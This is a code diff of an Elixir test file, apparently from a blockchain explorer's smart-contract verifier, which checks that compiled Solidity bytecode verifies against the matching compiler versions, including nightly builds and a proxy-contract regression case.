"0x608060405234801561001057600080fd5b5060405161026a38038061026a8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101ce8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a723058208d4e3fa9b2179a8384e617e388dde334be1b44e7b11b42ab964ab1050e7cedca64736f6c637827302e352e31302d6e696768746c792e323031392e362e342b636f6d6d69742e39356536623265340057" + + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_5_10_nightly_2019_6_4_commit_95e6b2e4) + bytecode_constructor_arguments = "#{bytecode_0_5_10_nightly_2019_6_4_commit_95e6b2e4}#{constructor_arguments}" - contract_address = insert(:contract_address, contract_code: bytecode) + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_5, + "compiler_version" => "v0.5.10-nightly.2019.6.4+commit.95e6b2e4", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verification is successful if proper nightly version of compiler ~0.5.11" do + bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753 = + "0x608060405234801561001057600080fd5b5060405161026b38038061026b8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101cf8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820f7420b8c3b16d83ce728d8c279f0f887c4dcd7bfcd38c484acc9cdb82fde785764736f6c637828302e352e31312d6e696768746c792e323031392e362e32352b636f6d6d69742e31636338343735330058" + + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753) + bytecode_constructor_arguments = "#{bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753}#{constructor_arguments}" - transaction_success_details = [ - status: :ok - ] + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_5, + "compiler_version" => "v0.5.11-nightly.2019.6.25+commit.1cc84753", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verification is successful if proper nightly version of compiler ~0.5.14" do + bytecode_0_5_14_nightly_2019_12_10_commit_45aa7a88 = + "0x608060405234801561001057600080fd5b5060405161026c38038061026c8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101d08061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72315820ec5a7ce04b1c2f97a3d3e61ae1b5cb06585e81c504542fd9668a8ead654da72764736f6c637829302e352e31342d6e696768746c792e323031392e31322e31302b636f6d6d69742e34356161376138380059" + + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_5_14_nightly_2019_12_10_commit_45aa7a88) + bytecode_constructor_arguments = "#{bytecode_0_5_14_nightly_2019_12_10_commit_45aa7a88}#{constructor_arguments}" - transaction_success = :transaction - |> insert() - |> with_block(transaction_success_details) + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_5, + "compiler_version" => "v0.5.14-nightly.2019.12.10+commit.45aa7a88", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verification is successful if proper nightly version of compiler ~0.6.0" do + bytecode_0_6_1_nightly_2020_1_2_commit_d082b9b8 = + "0x608060405234801561001057600080fd5b5060405161026a38038061026a8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101ce8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea264697066735822122029b5dde5889a195ed02cebb1a638ae3754be34464b9a2bc8b48b6286636031fb64736f6c637826302e362e312d6e696768746c792e323032302e312e322b636f6d6d69742e64303832623962380057" + + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_6_1_nightly_2020_1_2_commit_d082b9b8) + bytecode_constructor_arguments = "#{bytecode_0_6_1_nightly_2020_1_2_commit_d082b9b8}#{constructor_arguments}" - transaction_failure_details = [ - status: :error - ] + :transaction + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_6, + "compiler_version" => "v0.6.1-nightly.2020.1.2+commit.d082b9b8", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) + assert abi != nil + end + + test "verification is failed if wrong nightly version of compiler ~0.5.11" do + bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753 = + "0x608060405234801561001057600080fd5b5060405161026b38038061026b8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101cf8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820f5be0e6763c440be759726643bdd4b03370e9f1b58fd803ab18b0b4f2aa58b7664736f6c637828302e352e31312d6e696768746c792e323031392e362e32352b636f6d6d69742e31636338343735330058" + + constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" + contract_address = insert(:contract_address, contract_code: bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753) + bytecode_constructor_arguments = "#{bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753}#{constructor_arguments}" - transaction_failure = :transaction - |> insert() - |> with_block(transaction_failure_details) - - :internal_transaction - |> insert( - created_contract_address_hash: contract_address.hash, - init: init, - type: "create", - created_contract_code: bytecode, - input: nil, - transaction_hash: transaction_success.hash, - index: 0, - block_hash: transaction_success.block_hash, - block_index: 0 - ) - - :internal_transaction - |> insert( - created_contract_address_hash: contract_address.hash, - init: init, - type: "create", - created_contract_code: bytecode, - input: nil, - transaction_hash: transaction_failure.hash, - index: 0, - block_hash: transaction_failure.block_hash, - block_index: 0 - ) - - params = %{ - "contract_source_code" => contract, - "compiler_version" => "v0.4.26+commit.4563c3fc", - "evm_version" => "default", - "name" => "ContractFromFactory", - "optimization" => true, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil + |> insert( + created_contract_address_hash: contract_address.hash, + input: bytecode_constructor_arguments + ) + |> with_block(status: :ok) + + params = %{ + "contract_source_code" => @code_0_5, + "compiler_version" => "v0.5.11-nightly.2019.8.10+commit.f5f2bbb2", + "evm_version" => "homestead", + "name" => "Incrementer", + "optimization" => false, + "constructor_arguments" => constructor_arguments + } + + response = Verifier.evaluate_authenticity(contract_address.hash, params) + assert {:error, :compiler_version} = response + end end - end - describe "compiler version tests" do - # flaky test - test "verification is failed if wrong version of compiler" do - bytecode_0_5_10 = - "0x608060405234801561001057600080fd5b506040516102453803806102458339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101a98061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820fb47165501c50aae8ccb0394b15f4302606e0ba55eb6d59fe12eca19ba494d5e64736f6c634300050a0032" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_5_10) - bytecode_construtor_arguments = "#{bytecode_0_5_10}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_5, - "compiler_version" => "v0.5.11+commit.c082d0b4", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - response = Verifier.evaluate_authenticity(contract_address.hash, params) - assert {:error, :compiler_version} = response - end + describe "regression tests for https://github.com/blockscout/blockscout/pull/5166" do + test "issue 5114" do + contract_source_code = + "#{File.cwd!()}/test/support/fixture/smart_contract/issue_5114.sol" + |> File.read!() - test "verification is successful if proper version of compiler" do - bytecode_0_5_10 = - "0x608060405234801561001057600080fd5b506040516102453803806102458339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101a98061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a72305820fb47165501c50aae8ccb0394b15f4302606e0ba55eb6d59fe12eca19ba494d5e64736f6c634300050a0032" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_5_10) - bytecode_construtor_arguments = "#{bytecode_0_5_10}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_5, - "compiler_version" => "v0.5.10+commit.5a6ea5b1", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end - end + bytecode = + "0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033" - describe "verification with nightly builds" do - test "verification is successful if proper nightly version of compiler ~0.4" do - bytecode_v0_4_24_nightly_2018_4_26_commit_ef2111a2 = - "0x608060405234801561001057600080fd5b5060405160208061023d833981018060405281019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101b28061008b6000396000f300608060405260043610610057576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063256fec881461005c5780633fa4f245146100b3578063812600df146100de575b600080fd5b34801561006857600080fd5b5061007161010b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100bf57600080fd5b506100c8610131565b6040518082815260200191505060405180910390f35b3480156100ea57600080fd5b5061010960048036038101908080359060200190929190505050610137565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505600a165627a7a723058202d622d653be0a507f7ac0bc89d8934ccdbaf5e127abd603c3864a462149885070029" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_v0_4_24_nightly_2018_4_26_commit_ef2111a2) - bytecode_construtor_arguments = "#{bytecode_v0_4_24_nightly_2018_4_26_commit_ef2111a2}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_4, - "compiler_version" => "v0.4.24-nightly.2018.4.26+commit.ef2111a2", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + contract_creation_code = + "0x608060405260405162000f4038038062000f408339810160408190526200002691620004d4565b82816200005560017f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbd62000603565b60008051602062000ef9833981519152146200008157634e487b7160e01b600052600160045260246000fd5b6200008f82826000620000ff565b50620000bf905060017fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610462000603565b60008051602062000ed983398151915214620000eb57634e487b7160e01b600052600160045260246000fd5b620000f68262000170565b5050506200066c565b6200010a83620001cb565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806200014c5750805b156200016b576200016983836200029360201b6200026c1760201c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200019b620002c2565b604080516001600160a01b03928316815291841660208301520160405180910390a1620001c881620002fb565b50565b620001e1816200038b60201b620002981760201c565b620002495760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084015b60405180910390fd5b806200027260008051602062000ef983398151915260001b6200039560201b620002141760201c565b80546001600160a01b0319166001600160a01b039290921691909117905550565b6060620002bb838360405180606001604052806027815260200162000f196027913962000398565b9392505050565b6000620002ec60008051602062000ed983398151915260001b6200039560201b620002141760201c565b546001600160a01b0316905090565b6001600160a01b038116620003625760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b606482015260840162000240565b806200027260008051602062000ed983398151915260001b6200039560201b620002141760201c565b803b15155b919050565b90565b6060620003a5846200038b565b620004025760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b606482015260840162000240565b600080856001600160a01b0316856040516200041f9190620005b0565b600060405180830381855af49150503d80600081146200045c576040519150601f19603f3d011682016040523d82523d6000602084013e62000461565b606091505b509092509050620004748282866200047e565b9695505050505050565b606083156200048f575081620002bb565b825115620004a05782518084602001fd5b8160405162461bcd60e51b8152600401620002409190620005ce565b80516001600160a01b03811681146200039057600080fd5b600080600060608486031215620004e9578283fd5b620004f484620004bc565b92506200050460208501620004bc565b60408501519092506001600160401b038082111562000521578283fd5b818601915086601f83011262000535578283fd5b8151818111156200054a576200054a62000656565b604051601f8201601f19908116603f0116810190838211818310171562000575576200057562000656565b816040528281528960208487010111156200058e578586fd5b620005a183602083016020880162000627565b80955050505050509250925092565b60008251620005c481846020870162000627565b9190910192915050565b6000602082528251806020840152620005ef81604085016020870162000627565b601f01601f19169190910160400192915050565b6000828210156200062257634e487b7160e01b81526011600452602481fd5b500390565b60005b83811015620006445781810151838201526020016200062a565b83811115620001695750506000910152565b634e487b7160e01b600052604160045260246000fd5b61085d806200067c6000396000f3fe60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100855780635c60da1b146100985780638f283970146100c9578063f851a440146100e95761005d565b3661005d5761005b6100fe565b005b61005b6100fe565b34801561007157600080fd5b5061005b6100803660046106ed565b610118565b61005b610093366004610707565b610164565b3480156100a457600080fd5b506100ad6101da565b6040516001600160a01b03909116815260200160405180910390f35b3480156100d557600080fd5b5061005b6100e43660046106ed565b610217565b3480156100f557600080fd5b506100ad610241565b6101066102a2565b610116610111610346565b610355565b565b610120610379565b6001600160a01b0316336001600160a01b0316141561015957610154816040518060200160405280600081525060006103ac565b610161565b6101616100fe565b50565b61016c610379565b6001600160a01b0316336001600160a01b031614156101cd576101c88383838080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250600192506103ac915050565b6101d5565b6101d56100fe565b505050565b60006101e4610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610346565b9050610214565b6102146100fe565b90565b61021f610379565b6001600160a01b0316336001600160a01b03161415610159576101548161040b565b600061024b610379565b6001600160a01b0316336001600160a01b0316141561020c57610205610379565b606061029183836040518060600160405280602781526020016108016027913961045f565b9392505050565b803b15155b919050565b6102aa610379565b6001600160a01b0316336001600160a01b031614156103415760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f78792074617267606482015261195d60f21b608482015260a4015b60405180910390fd5b610116565b600061035061053a565b905090565b3660008037600080366000845af43d6000803e808015610374573d6000f35b3d6000fd5b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316905090565b6103b583610562565b6040516001600160a01b038416907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a26000825111806103f65750805b156101d557610405838361026c565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610434610379565b604080516001600160a01b03928316815291841660208301520160405180910390a161016181610611565b606061046a84610298565b6104c55760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610338565b600080856001600160a01b0316856040516104e09190610785565b600060405180830381855af49150503d806000811461051b576040519150601f19603f3d011682016040523d82523d6000602084013e610520565b606091505b509150915061053082828661069d565b9695505050505050565b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61039d565b61056b81610298565b6105cd5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610338565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381166106765760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b6064820152608401610338565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61036105f0565b606083156106ac575081610291565b8251156106bc5782518084602001fd5b8160405162461bcd60e51b815260040161033891906107a1565b80356001600160a01b038116811461029d57600080fd5b6000602082840312156106fe578081fd5b610291826106d6565b60008060006040848603121561071b578182fd5b610724846106d6565b9250602084013567ffffffffffffffff80821115610740578384fd5b818601915086601f830112610753578384fd5b813581811115610761578485fd5b876020828501011115610772578485fd5b6020830194508093505050509250925092565b600082516107978184602087016107d4565b9190910192915050565b60006020825282518060208401526107c08160408501602087016107d4565b601f01601f19169190910160400192915050565b60005b838110156107ef5781810151838201526020016107d7565b83811115610405575050600091015256fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122016ea36e15be10f9560025e0ec9401e2e9110cb5ec41d110b4a0e391838c1f19b64736f6c63430008020033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c65640000000000000000000000005fbdb2315678afecb367f032d93f642f64180aa3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000000" - test "verification is successful if proper nightly version of compiler ~0.5.10" do - bytecode_0_5_10_nightly_2019_6_4_commit_95e6b2e4 = - "0x608060405234801561001057600080fd5b5060405161026a38038061026a8339818101604052602081101561003357600080fd5b81019080805190602001909291905050508060008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506101ce8061009c6000396000f3fe608060405234801561001057600080fd5b506004361061005e576000357c010000000000000000000000000000000000000000000000000000000090048063256fec88146100635780633fa4f245146100ad578063812600df146100cb575b600080fd5b61006b6100f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100b561011f565b6040518082815260200191505060405180910390f35b6100f7600480360360208110156100e157600080fd5b8101908080359060200190929190505050610125565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b806000540160008190555033600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fea265627a7a723058208d4e3fa9b2179a8384e617e388dde334be1b44e7b11b42ab964ab1050e7cedca64736f6c637827302e352e31302d6e696768746c792e323031392e362e342b636f6d6d69742e39356536623265340057" - - constructor_arguments = "000000000000000000000000000000000000000000000000000000000000000a" - contract_address = insert(:contract_address, contract_code: bytecode_0_5_10_nightly_2019_6_4_commit_95e6b2e4) - bytecode_construtor_arguments = "#{bytecode_0_5_10_nightly_2019_6_4_commit_95e6b2e4}#{constructor_arguments}" - - :transaction - |> insert( - created_contract_address_hash: contract_address.hash, - input: bytecode_construtor_arguments - ) - |> with_block(status: :ok) - - params = %{ - "contract_source_code" => @code_0_5, - "compiler_version" => "v0.5.10-nightly.2019.6.4+commit.95e6b2e4", - "evm_version" => "homestead", - "name" => "Incrementer", - "optimization" => false, - "constructor_arguments" => constructor_arguments - } - - assert {:ok, %{abi: abi}} = Verifier.evaluate_authenticity(contract_address.hash, params) - assert abi != nil - end + contract_address = insert(:contract_address, contract_code: bytecode) - test "verification is successful if proper nightly version of compiler ~0.5.11" do - bytecode_0_5_11_nightly_2019_6_25_commit_1cc84753 = - 